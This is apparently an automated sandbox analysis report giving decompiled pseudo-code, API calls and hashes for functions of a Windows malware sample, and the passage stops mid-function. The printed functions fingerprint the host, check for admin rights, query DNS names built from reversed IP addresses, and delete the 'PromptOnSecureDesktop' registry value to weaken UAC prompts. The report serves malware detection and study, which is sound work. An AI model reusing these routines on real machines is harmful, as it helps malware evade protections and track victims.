Opcode Fuzzy Hash: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction Fuzzy Hash: 6B110AB2A40248BAEF11DF94CD85FDE7FBCEB44751F008066BB04EA1D0E6B19A44CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00402419, Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 45
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402419(void* __ecx, CHAR* _a4, intOrPtr _a8, CHAR* _a12) {
				int _v8;
				int _t18;
				intOrPtr _t20;
				CHAR* _t21;
				int _t30;
				CHAR* _t36;

				_t18 = lstrlenA(_a12);
				_t36 = _a4;
				_v8 = _t18;
				_t20 = _a8 + _t36;
				_a8 = _t20;
				if(_t36 >= _t20) {
					L5:
					_t21 = 0;
				} else {
					while(1) {
						_t30 = lstrlenA(_t36);
						_t7 =  &(_t36[1]); // 0x1
						_a4 = _t30 + _t7;
						if(_v8 == _t30 && lstrcmpiA(_t36, _a12) == 0 && _a4 < _a8) {
							break;
						}
						_t36 =  &(_t36[lstrlenA(_a4) + _t30 + 2]);
						if(_t36 < _a8) {
							continue;
						} else {
							goto L5;
						}
						goto L6;
					}
					_t21 = _a4;
				}
				L6:
				return _t21;
			}

0x00402429
0x0040242b
0x0040242e
0x00402434
0x00402436
0x0040243b
0x00402474
0x00402474
0x0040243d
0x0040243d
0x00402440
0x00402442
0x00402446
0x0040244c
0x00000000
0x00000000
0x0040246b
0x00402472
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00402472
0x0040247b
0x0040247b
0x00402476
0x0040247a

APIs

lstrlenA.KERNEL32(?,localcfg,?,00000000,?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001), ref: 00402429
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 0040243E
lstrcmpiA.KERNEL32(?,?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg), ref: 00402452
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 00402467

Strings

localcfg, xrefs: 0040241F

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrlen$lstrcmpi
String ID: localcfg
API String ID: 1808961391-1857712256
Opcode ID: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction ID: 10b525c6ae3f8891cd48fd25e34f392daf9ed257baad57177c8ccf48abf1fcea
Opcode Fuzzy Hash: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction Fuzzy Hash: B4011A31600218EFCF11EF69DD888DE7BA9EF44354B01C436E859A7250E3B4EA408A98

Uniqueness

Uniqueness Score: -1.00%

Function 0040E52E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111
fileCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040E52E(void* __edx, void* __eflags) {
				long _v4;
				void* __ecx;
				void* _t9;
				void* _t11;
				void* _t17;
				long _t20;
				void* _t23;
				int _t24;
				void* _t28;
				void* _t32;
				void* _t37;
				void* _t40;
				void* _t44;

				_t44 = __eflags;
				_t32 = __edx;
				E0040DD05();
				_t28 = E0040DBCF(_t44, 0x80000000, 3);
				_pop(_t31);
				if(_t28 == 0xffffffff) {
					L6:
					_t9 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
					_t11 = E0040E3CA(_t32, 0x80000001, E00402544(0x4122f8, 0x4110bc, 0x14, 0xe4, 0xc8), _t9);
					_t40 = _t37 + 0x34;
					if(_t11 == 0) {
						_t17 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						E0040E3CA(_t32, 0x80000001, E00402544(0x4122f8, 0x4110a0, 0x19, 0xe4, 0xc8), _t17);
						_t40 = _t40 + 0x34;
					}
					E0040EE2A(_t31, 0x4122f8, 0, 0x100);
					E0040EE2A(_t31, 0x4128f8, 0, 0x100);
					E0040DD69();
					return 1;
				}
				_t20 = GetFileSize(_t28, 0);
				_v4 = _t20;
				if(_t20 != 0) {
					E0040DB2E(_t20);
					_t23 =  *0x4136c4;
					_pop(_t31);
					if(_t23 != 0) {
						_t31 =  &_v4;
						_t24 = ReadFile(_t28, _t23, _v4,  &_v4, 0);
						_t48 = _t24;
						if(_t24 != 0) {
							E00402544( *0x4136c4,  *0x4136c4, _v4, 0xe4, 0xc8);
							E0040E332(_t32, _t48,  *0x4136c4, _v4);
							_t37 = _t37 + 0x1c;
						}
					}
				}
				CloseHandle(_t28);
				goto L6;
			}

0x0040e52e
0x0040e52e
0x0040e533
0x0040e544
0x0040e54c
0x0040e553
0x0040e5b8
0x0040e5c7
0x0040e5ed
0x0040e5f2
0x0040e5f7
0x0040e603
0x0040e624
0x0040e629
0x0040e629
0x0040e635
0x0040e63e
0x0040e646
0x0040e653
0x0040e653
0x0040e558
0x0040e55e
0x0040e564
0x0040e567
0x0040e56c
0x0040e571
0x0040e574
0x0040e578
0x0040e583
0x0040e589
0x0040e58b
0x0040e59a
0x0040e5a9
0x0040e5ae
0x0040e5ae
0x0040e58b
0x0040e574
0x0040e5b2
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

GetFileSize.KERNEL32(00000000,00000000,?,73B743E0,?,00000000,?,0040A445), ref: 0040E558
ReadFile.KERNEL32(00000000,?,00000000,?,00000000,?,73B743E0,?,00000000,?,0040A445), ref: 0040E583
CloseHandle.KERNEL32(00000000,?,73B743E0,?,00000000,?,0040A445), ref: 0040E5B2

Strings

PromptOnSecureDesktop, xrefs: 0040E5D9, 0040E5DE, 0040E615, 0040E634

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$CloseCountCurrentExchangeHandleInterlockedReadSizeThreadTick
String ID: PromptOnSecureDesktop
API String ID: 3683885500-2980165447
Opcode ID: 97ed9945180dad910374812bc7dd1991f0e14b66e3af2cec29813bcc173ea6a5
Instruction ID: 336cca8f28a0ae06816d6806ca3c094c6326420f96deeb8fe64773c8e7208e17
Opcode Fuzzy Hash: 97ed9945180dad910374812bc7dd1991f0e14b66e3af2cec29813bcc173ea6a5
Instruction Fuzzy Hash: F321EAB19402047AE2207B639C0AFAB3D1CDF54758F10093EBA09B11E3E9BDD96082BD

Uniqueness

Uniqueness Score: -1.00%

Function 00419347, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004193A8

Strings

', xrefs: 00419347
9, xrefs: 004195A8
0, xrefs: 00419363

Memory Dump Source

Source File: 00000018.00000002.800737404.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: _get_int64_arg
String ID: '$0$9
API String ID: 3658606546-269856862
Opcode ID: 5fe57726c382a24e6947a08c79b5719a37f50206da6e0f0bb5fb4c4eaac02437
Instruction ID: 7a69f680070ba03c59f359342bf4c4315b666fe10e76c496c60c9847d053b351
Opcode Fuzzy Hash: 5fe57726c382a24e6947a08c79b5719a37f50206da6e0f0bb5fb4c4eaac02437
Instruction Fuzzy Hash: 1041C2B1D05229DFEB25CF58C8A9BEEB7B5BB44304F24859AD409A7240C7389E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00401AC3, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00401AC3() {
				signed int _v8;
				char _v12;
				signed int _v16;
				struct HINSTANCE__* _t19;
				intOrPtr _t24;
				intOrPtr _t26;
				intOrPtr* _t28;
				signed int _t39;
				void* _t41;
				intOrPtr _t43;

				_v16 = 0;
				_t19 = LoadLibraryA("Iphlpapi.dll");
				if(_t19 == 0) {
					L15:
					return _v16;
				}
				_t28 = GetProcAddress(_t19, "GetAdaptersAddresses");
				if(_t28 == 0) {
					L14:
					goto L15;
				}
				_push( &_v12);
				_v8 = 0;
				_v12 = 0;
				_push(0);
				while(1) {
					_t41 =  *_t28(2, 0, 0);
					if(_t41 != 0x6f) {
						break;
					}
					_t24 = E0040EBED(_v8, _v12);
					if(_t24 == 0) {
						break;
					}
					_push( &_v12);
					_v8 = _t24;
					_push(_t24);
				}
				if(_t41 != 0) {
					L11:
					if(_v8 != 0) {
						E0040EC2E(_v8);
					}
					L13:
					goto L14;
				}
				_t26 = _v8;
				if(_t26 == 0) {
					goto L13;
				} else {
					goto L8;
				}
				do {
					L8:
					_t43 =  *((intOrPtr*)(_t26 + 0x34));
					_t39 = 0;
					if(_t43 <= 0) {
						goto L10;
					} else {
						goto L9;
					}
					do {
						L9:
						_v16 = _v16 ^ ( *(_t26 + _t39 + 0x2c) & 0x000000ff) << (_t39 & 0x00000003) << 0x00000003;
						_t39 = _t39 + 1;
					} while (_t39 < _t43);
					L10:
					_t26 =  *((intOrPtr*)(_t26 + 8));
				} while (_t26 != 0);
				goto L11;
			}

0x00401ad1
0x00401ad4
0x00401adc
0x00401b6b
0x00401b70
0x00401b70
0x00401aef
0x00401af3
0x00401b6a
0x00000000
0x00401b6a
0x00401af9
0x00401afa
0x00401afd
0x00401b00
0x00401b1c
0x00401b22
0x00401b27
0x00000000
0x00000000
0x00401b09
0x00401b12
0x00000000
0x00000000
0x00401b17
0x00401b18
0x00401b1b
0x00401b1b
0x00401b2b
0x00401b5b
0x00401b5e
0x00401b63
0x00401b68
0x00401b69
0x00000000
0x00401b69
0x00401b2d
0x00401b32
0x00000000
0x00000000
0x00000000
0x00000000
0x00401b34
0x00401b34
0x00401b34
0x00401b37
0x00401b3b
0x00000000
0x00000000
0x00000000
0x00000000
0x00401b3d
0x00401b3d
0x00401b4c
0x00401b4f
0x00401b50
0x00401b54
0x00401b54
0x00401b57
0x00000000

APIs

LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses,00000000,?,?,?,?,00000001), ref: 00401AE9

Strings

Iphlpapi.dll, xrefs: 00401ACC
GetAdaptersAddresses, xrefs: 00401AE3

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: GetAdaptersAddresses$Iphlpapi.dll
API String ID: 2574300362-1087626847
Opcode ID: 4ad453f95e319ae71f8ebabcc46d8d27ffdc7fe226df516f9f2c7e6519cf6946
Instruction ID: f6c238f91e07a5798e813b0b618c72a9a5addbcd8e0b61e0281ff71d4ef1483f
Opcode Fuzzy Hash: 4ad453f95e319ae71f8ebabcc46d8d27ffdc7fe226df516f9f2c7e6519cf6946
Instruction Fuzzy Hash: 3D11DA71E01124BFCB11DBA5DD858EEBBB9EB44B10B144077E005F72A1E7786E80CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00401BDF, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00401BDF() {
				long _v8;
				long _v12;
				void* _v27;
				char _v28;
				void* _t14;
				signed int _t21;
				signed int _t30;
				void* _t31;

				_v28 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t30 = 0;
				_v12 = 0;
				asm("stosb");
				_v8 = 0xf;
				_t14 = E00401AC3();
				if(_t14 == 0) {
					if(GetComputerNameA( &_v28,  &_v8) == 0) {
						L6:
						GetVolumeInformationA(0, 0, 4,  &_v12, 0, 0, 0, 0);
						return _v12;
					}
					_t21 = 0;
					if(_v8 <= 0) {
						goto L6;
					} else {
						goto L3;
					}
					do {
						L3:
						_t30 = _t30 ^  *(_t31 + _t21 - 0x18) << (_t21 & 0x00000003) << 0x00000003;
						_t21 = _t21 + 1;
					} while (_t21 < _v8);
					if(_t30 == 0) {
						goto L6;
					}
					return _t30;
				}
				return _t14;
			}

0x00401bec
0x00401bf2
0x00401bf3
0x00401bf4
0x00401bf5
0x00401bf7
0x00401bf9
0x00401bfc
0x00401bfd
0x00401c04
0x00401c0b
0x00401c1d
0x00401c45
0x00401c51
0x00000000
0x00401c57
0x00401c1f
0x00401c24
0x00000000
0x00000000
0x00000000
0x00000000
0x00401c26
0x00401c26
0x00401c35
0x00401c37
0x00401c38
0x00401c3f
0x00000000
0x00000000
0x00000000
0x00401c41
0x00401c5e

APIs

Part of subcall function 00401AC3: LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
Part of subcall function 00401AC3: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses,00000000,?,?,?,?,00000001), ref: 00401AE9

GetComputerNameA.KERNEL32 ref: 00401C15
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,00000001,00000000,00000000,00000000,00000000,?,?,?,?,00000001), ref: 00401C51

Strings

hi_id, xrefs: 00401BE5
localcfg, xrefs: 00401BE7

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressComputerInformationLibraryLoadNameProcVolume
String ID: hi_id$localcfg
API String ID: 2777991786-2393279970
Opcode ID: c1f5fbcf32f03a3b5af02055375f22f20b4b6189fddf0c1db7ba7214e7015d02
Instruction ID: b3a67a5cb4ed68e183e77afdc8505cc80d304e276af6d439446d09174096bcc5
Opcode Fuzzy Hash: c1f5fbcf32f03a3b5af02055375f22f20b4b6189fddf0c1db7ba7214e7015d02
Instruction Fuzzy Hash: B2018072A44118BBEB10EAE8C8C59EFBABCAB48745F104476E602F3290D274DE4486A5

Uniqueness

Uniqueness Score: -1.00%

Function 00406EDD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00406EDD() {
				int _v8;
				void* _v12;
				short _v16;
				struct _SID_IDENTIFIER_AUTHORITY _v20;
				signed int _t12;
				int _t15;
				int* _t16;

				_t12 =  *0x412048; // 0x0
				if(_t12 < 0) {
					_v20.Value = 0;
					_v16 = 0x500;
					_t15 = AllocateAndInitializeSid( &_v20, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v12);
					_v8 = _t15;
					if(_t15 != 0) {
						_t6 =  &_v8; // 0x40702a
						_t16 = _t6;
						__imp__CheckTokenMembership(0, _v12, _t16);
						if(_t16 != 0) {
							 *0x412048 = 0 | _v8 == 0x00000000;
						}
						FreeSid(_v12);
					}
					_t12 =  *0x412048; // 0x0
					if(_t12 != 0) {
						_t12 = E00406E36(0x12, 0);
						 *0x412048 = _t12;
					}
				}
				return _t12;
			}

0x00406ee0
0x00406eed
0x00406f06
0x00406f09
0x00406f0f
0x00406f15
0x00406f1a
0x00406f1c
0x00406f1c
0x00406f24
0x00406f2c
0x00406f36
0x00406f36
0x00406f3e
0x00406f3e
0x00406f44
0x00406f4b
0x00406f50
0x00406f57
0x00406f57
0x00406f4b
0x00406f5e

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00406F0F
CheckTokenMembership.ADVAPI32(00000000,?,*p@), ref: 00406F24
FreeSid.ADVAPI32(?), ref: 00406F3E

Strings

*p@, xrefs: 00406F1C, 00406F1F

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID: *p@
API String ID: 3429775523-2474123842
Opcode ID: e5b07a668181befdfd7487022a30a26c3f8e9f7140bfa863a498fdcbf626812e
Instruction ID: a55d58a6849641b9de595c9770ce5785232f8714219103e6702645194e06a02f
Opcode Fuzzy Hash: e5b07a668181befdfd7487022a30a26c3f8e9f7140bfa863a498fdcbf626812e
Instruction Fuzzy Hash: 6701E571904209AFDB10DFE4ED85AAE7BB8F708304F50847AE606E2191D7745A54CB18

Uniqueness

Uniqueness Score: -1.00%

Function 004096FF, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48
registryCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E004096FF(void* __ecx) {
				void* _v8;
				char* _t6;
				char* _t10;
				void* _t23;
				void* _t24;

				_t16 = __ecx;
				_push(__ecx);
				_t6 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
				_t24 = _t23 + 0x14;
				if(RegOpenKeyExA(0x80000001, _t6, 0, 0x103,  &_v8) == 0) {
					_t10 = E00402544(0x4122f8,  &E004106A0, 9, 0xe4, 0xc8);
					_t24 = _t24 + 0x14;
					RegDeleteValueA(_v8, _t10);
					RegCloseKey(_v8);
				}
				E0040EE2A(_t16, 0x4122f8, 0, 0x100);
				return 0;
			}

0x004096ff
0x00409702
0x00409728
0x0040972d
0x0040973e
0x0040974a
0x0040974f
0x00409756
0x0040975f
0x0040975f
0x0040976d
0x0040977b

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,PromptOnSecureDesktop,00000000,?,?,0040A14A), ref: 00409736
RegDeleteValueA.ADVAPI32(0040A14A,00000000,?,?,?,?,?,?,?,?,?,0040A14A), ref: 00409756
RegCloseKey.ADVAPI32(0040A14A,?,?,?,?,?,?,?,?,?,0040A14A), ref: 0040975F

Strings

PromptOnSecureDesktop, xrefs: 00409704, 00409722, 00409727, 00409749, 0040976C

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: PromptOnSecureDesktop
API String ID: 849931509-2980165447
Opcode ID: d5f34db7dae48a462cefd4dcf3502bf6d69dcb064d07d0537e75b291725a066f
Instruction ID: 5e38ed9511aa8cc069582274463af9cddeeab7037fd65aad7bdf8be664a95ff7
Opcode Fuzzy Hash: d5f34db7dae48a462cefd4dcf3502bf6d69dcb064d07d0537e75b291725a066f
Instruction Fuzzy Hash: 5AF0C8B2680118BBF3106B51AC0BFDF3A2CDB44704F100075F605B50D2E6E55E9082BD

Uniqueness

Uniqueness Score: -1.00%

Function 00402684, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(?), ref: 00402693
gethostbyname.WS2_32(?), ref: 0040269F

Strings

~s`ysps, xrefs: 00402693
time_cfg, xrefs: 00402684

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID: time_cfg$~s`ysps
API String ID: 1594361348-2010419113
Opcode ID: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction ID: 506fadec158220b53989f58c32679351ed61dc8f5455c60e8cf87b9af1828998
Opcode Fuzzy Hash: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction Fuzzy Hash: 9CE08C302040219FCB108B28F848AC637A4AF06330F0189A2F840E32E0C7B89CC08688

Uniqueness

Uniqueness Score: -1.00%

Function 00401C5F, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401C5F(void* __eflags) {
				signed int _t49;
				signed int _t51;
				void* _t80;
				char _t91;
				void* _t92;
				signed int _t98;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t107;
				void* _t108;

				_t105 = _t107 - 0x70;
				_t108 = _t107 - 0x114;
				 *(_t105 + 0x6c) =  *(_t105 + 0x6c) & 0x00000000;
				_t98 =  *(_t105 + 0x7c);
				 *(_t105 + 0x7c) =  *(_t105 + 0x7c) & 0x00000000;
				_t101 = E0040ED03(_t98, 0x2c);
				if(_t101 == 0) {
					L6:
					_t49 = _t98;
					_t32 = _t49 + 1; // 0x2
					_t102 = _t32;
					do {
						_t91 =  *_t49;
						_t49 = _t49 + 1;
					} while (_t91 != 0);
					 *((char*)(_t105 + _t49 - _t102 - 0x24)) = _t91;
					_t51 = _t98;
					_t35 = _t51 + 1; // 0x2
					_t103 = _t35;
					do {
						_t92 =  *_t51;
						_t51 = _t51 + 1;
					} while (_t92 != 0);
					E0040EE5C(_t105 - 0x24, _t98, _t51 - _t103);
					wsprintfA(_t105 - 0xa4, "%u.%u.%u.%u.%s",  *(_t105 + 0x7b) & 0x000000ff,  *(_t105 + 0x7a) & 0x000000ff,  *(_t105 + 0x79) & 0x000000ff,  *(_t105 + 0x78) & 0x000000ff, _t105 - 0x24);
					if(E00402684(_t105 - 0xa4) != 0) {
						 *(_t105 + 0x6c) =  *(_t105 + 0x6c) | 1 <<  *(_t105 + 0x7c);
					}
					L12:
					return  *(_t105 + 0x6c);
				}
				 *(_t105 + 0x5c) =  *(_t105 + 0x78) & 0x000000ff;
				 *(_t105 + 0x60) =  *(_t105 + 0x79) & 0x000000ff;
				 *(_t105 + 0x68) =  *(_t105 + 0x7a) & 0x000000ff;
				 *(_t105 + 0x64) =  *(_t105 + 0x7b) & 0x000000ff;
				while(1) {
					 *((char*)(_t105 + _t101 - _t98 - 0x24)) = 0;
					E0040EE5C(_t105 - 0x24, _t98, _t101 - _t98);
					_t22 = _t101 + 1; // 0x1
					_t98 = _t22;
					wsprintfA(_t105 - 0xa4, "%u.%u.%u.%u.%s",  *(_t105 + 0x64),  *(_t105 + 0x68),  *(_t105 + 0x60),  *(_t105 + 0x5c), _t105 - 0x24);
					_t80 = E00402684(_t105 - 0xa4);
					_t108 = _t108 + 0x2c;
					if(_t80 != 0) {
						 *(_t105 + 0x6c) =  *(_t105 + 0x6c) | 1 <<  *(_t105 + 0x7c);
					}
					 *(_t105 + 0x7c) =  *(_t105 + 0x7c) + 1;
					if( *(_t105 + 0x7c) > 0x1e) {
						goto L12;
					}
					_t101 = E0040ED03(_t98, 0x2c);
					if(_t101 != 0) {
						continue;
					}
					goto L6;
				}
				goto L12;
			}

0x00401c60
0x00401c64
0x00401c6a
0x00401c71
0x00401c74
0x00401c86
0x00401c8c
0x00401d1c
0x00401d1c
0x00401d1e
0x00401d1e
0x00401d21
0x00401d21
0x00401d23
0x00401d24
0x00401d2a
0x00401d2e
0x00401d30
0x00401d30
0x00401d33
0x00401d33
0x00401d35
0x00401d36
0x00401d42
0x00401d6b
0x00401d7e
0x00401d88
0x00401d88
0x00401d8b
0x00401d95
0x00401d95
0x00401c96
0x00401c9d
0x00401ca4
0x00401cab
0x00401cae
0x00401cb3
0x00401cbd
0x00401cd2
0x00401cd2
0x00401ce1
0x00401cea
0x00401cef
0x00401cf4
0x00401cfe
0x00401cfe
0x00401d04
0x00401d0a
0x00000000
0x00000000
0x00401d14
0x00401d1a
0x00000000
0x00000000
0x00000000
0x00401d1a
0x00000000

APIs

wsprintfA.USER32 ref: 00401CE1
wsprintfA.USER32 ref: 00401D6B

Strings

%u.%u.%u.%u.%s, xrefs: 00401CDB, 00401D65
localcfg, xrefs: 00401C70

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: wsprintf
String ID: %u.%u.%u.%u.%s$localcfg
API String ID: 2111968516-120809033
Opcode ID: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction ID: f60862e96afe744063ef1f8e151e0253a3d6131670b42bf9f562b78b9aabf051
Opcode Fuzzy Hash: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction Fuzzy Hash: 3C41C1729042999FDB21DF798D44BEE7BE89F49310F240066FD64E3192D639EA04CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00403F18, Relevance: 6.0, APIs: 4, Instructions: 46
filesynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F18(void* _a4, void* _a8, long _a12, long _a16, long _a20) {
				struct _OVERLAPPED _v24;
				long _t30;
				void* _t31;

				_v24.Offset = _v24.Offset & 0x00000000;
				_v24.OffsetHigh = _v24.OffsetHigh & 0x00000000;
				_t30 = _a12;
				_t31 = _a16;
				_a16 = _a16 & 0x00000000;
				_v24.hEvent = _t31;
				if(WriteFile(_a4, _a8, _t30,  &_a16,  &_v24) != 0) {
					L3:
					if(_t30 != _a16) {
						L5:
						return 0;
					}
					return 1;
				}
				if(GetLastError() != 0x3e5) {
					goto L5;
				}
				WaitForSingleObject(_t31, _a20);
				if(GetOverlappedResult(_a4,  &_v24,  &_a16, 0) == 0) {
					goto L5;
				}
				goto L3;
			}

0x00403f1e
0x00403f22
0x00403f27
0x00403f2b
0x00403f2e
0x00403f3e
0x00403f4c
0x00403f7c
0x00403f7f
0x00403f86
0x00000000
0x00403f86
0x00000000
0x00403f83
0x00403f59
0x00000000
0x00000000
0x00403f5f
0x00403f7a
0x00000000
0x00000000
0x00000000

APIs

WriteFile.KERNEL32(00000000,00000000,0040A3C7,00000000,00000000,000007D0,00000001), ref: 00403F44
GetLastError.KERNEL32 ref: 00403F4E
WaitForSingleObject.KERNEL32(00000004,?), ref: 00403F5F
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403F72

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedResultSingleWaitWrite
String ID:
API String ID: 3373104450-0
Opcode ID: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction ID: 81d5a9f64dfd66904774ebc82d2e0e48c629fa8216d99cd76bf4a5dbd4e59073
Opcode Fuzzy Hash: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction Fuzzy Hash: B9010C7291110AABDF01DF90ED44BEF7B7CEB08356F104066FA01E2190D774DA558BB6

Uniqueness

Uniqueness Score: -1.00%

Function 00403F8C, Relevance: 6.0, APIs: 4, Instructions: 46
filesynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F8C(void* _a4, void* _a8, long _a12, long _a16, long _a20) {
				struct _OVERLAPPED _v24;
				long _t30;
				void* _t31;

				_v24.Offset = _v24.Offset & 0x00000000;
				_v24.OffsetHigh = _v24.OffsetHigh & 0x00000000;
				_t30 = _a12;
				_t31 = _a16;
				_a16 = _a16 & 0x00000000;
				_v24.hEvent = _t31;
				if(ReadFile(_a4, _a8, _t30,  &_a16,  &_v24) != 0) {
					L3:
					if(_t30 != _a16) {
						L5:
						return 0;
					}
					return 1;
				}
				if(GetLastError() != 0x3e5) {
					goto L5;
				}
				WaitForSingleObject(_t31, _a20);
				if(GetOverlappedResult(_a4,  &_v24,  &_a16, 0) == 0) {
					goto L5;
				}
				goto L3;
			}

0x00403f92
0x00403f96
0x00403f9b
0x00403f9f
0x00403fa2
0x00403fb2
0x00403fc0
0x00403ff0
0x00403ff3
0x00403ffa
0x00000000
0x00403ffa
0x00000000
0x00403ff7
0x00403fcd
0x00000000
0x00000000
0x00403fd3
0x00403fee
0x00000000
0x00000000
0x00000000

APIs

ReadFile.KERNEL32(00000000,00000000,0040A3C7,00000000,00000000,000007D0,00000001), ref: 00403FB8
GetLastError.KERNEL32 ref: 00403FC2
WaitForSingleObject.KERNEL32(00000004,?), ref: 00403FD3
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403FE6

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedReadResultSingleWait
String ID:
API String ID: 888215731-0
Opcode ID: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction ID: 44fd539f7a3468c5635e20a1652967c761b46accf60e77792ab8a53432005efc
Opcode Fuzzy Hash: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction Fuzzy Hash: A601177291110AAFDF01DF90ED45BEF3B7CEF08356F004062F906E2090D7749A549BA6

Uniqueness

Uniqueness Score: -1.00%

Function 0040A4C7, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A4C7(intOrPtr _a4) {
				long _t3;
				LONG* _t8;
				long _t9;

				_t9 = GetTickCount();
				_t8 = _a4 + 0x5c;
